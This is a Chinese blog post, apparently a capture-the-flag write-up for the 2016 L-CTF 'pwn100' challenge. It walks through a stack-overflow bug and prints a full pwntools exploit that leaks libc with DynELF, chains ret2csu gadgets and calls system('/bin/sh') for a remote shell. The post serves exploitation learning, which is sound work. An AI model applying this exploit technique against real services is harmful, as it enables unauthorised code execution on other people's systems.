(攻防世界)(2016 L-CTF)pwn100

原创

PLpa、 于 2019-07-12 15:50:17 发布 2054 收藏

文章标签： pwn 栈溢出 ROP

本文链接：https://blog.csdn.net/qq_43986365/article/details/95624372

这题也是一个DynELF()的栈溢出题，不过这里是运用了puts函数而不是write函数，所以我们构造的leak函数就要不同些。

拿到题目，我们首先查看一下保护：

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
```

可以看到，程序只开启了NX保护。

我们进入IDA看一下程序逻辑，找一找漏洞：

```
int sub_40068E()
{
  char v1; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&v1, 200);
  return puts("bye~");
}
```

```
__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i >= a2 )
      break;
    read(0, (void *)((signed int)i + a1), 1uLL);
  }
  return result;
}
```


我们找到了puts和read函数，看到了明显的栈溢出漏洞，一般思路就是DynELF函数的利用了：

我们找到我们需要的一些地址，然后开始构造exp：

```
#!/usr/bin/env python
from pwn import *
import binascii
p=remote('111.198.29.45',*****)
elf=ELF('./pwn100')
puts_plt=elf.symbols['puts']
puts_got=elf.got['puts']
read_plt=elf.symbols['read']
read_got=elf.got['read']
pop_addr=0x040075a
mov_addr=0x0400740
#main_addr=0x04006b8
start_addr=0x0400550
prdi_addr=0x0400763
waddress=0x601000
def leak(address):
        count=0
        data=''
        payload='a'*0x48+p64(prdi_addr)+p64(address)+p64(puts_plt)+p64(start_addr)
        payload=payload.ljust(200,'B')
        p.send(payload)
        print p.recvuntil('bye~\n')
        up=""
        while True:
                c=p.recv(numb=1,timeout=0.5)
                count+=1
                if up=='\n' and c=="":
                        data=data[:-1]
                        data+="\x00"
                        break
                else:
                        data+=c
                up=c
        data=data[:4]
        log.info("%#x +> %s" % (address,(data or '').encode('hex')))
        return data
d=DynELF(leak,elf=ELF('./pwn100'))
sys_addr =d.lookup('__libc_system','libc')
print "sys_addr:", hex(sys_addr)
payload1='a'*0x48+p64(pop_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(waddress)+p64(0)+p64(mov_addr)+'\x00'*56+
p64(start_addr)
#对于这里的'\x00'*56返回到start地址取我还不是很明白，也是看了大佬的writeup才加上的
payload1=payload1.ljust(200,"B")
#对于这里的为什么要补充B到200也不是十分懂
p.send(payload1)
print p.recvuntil('bye~\n')
p.send("/bin/sh\x00")
payload2='a'*0x48+p64(prdi_addr)+p64(waddress)+p64(sys_addr)+p64(start_addr)
payload2=payload2.ljust(200,"B")
p.send(payload2)
p.interactive()
```

对于上面的为什么有'\x00'*56返回到start的地址，还有为什么每个payload都要补充B到200，这两个地方还不是很懂，有没有大佬路过，带带萌新吧！！！

补充：

根据一段时间的学习之后，加上大佬的指点，我终于知道了为什么要有**'\x00'56返回到start的地址**了。
原来是因为在mov之后又会跳转回6pop函数，我们可以看到，在6pop函数中有7个小段，就是7*8个字节才到retn，故我们才要写上'\x00'*56才返回start的地址。
至于为什么要到两百那个问题，其实是程序本身的问题，程序本身就要输入两百个字符，不然就不给进行下一步。?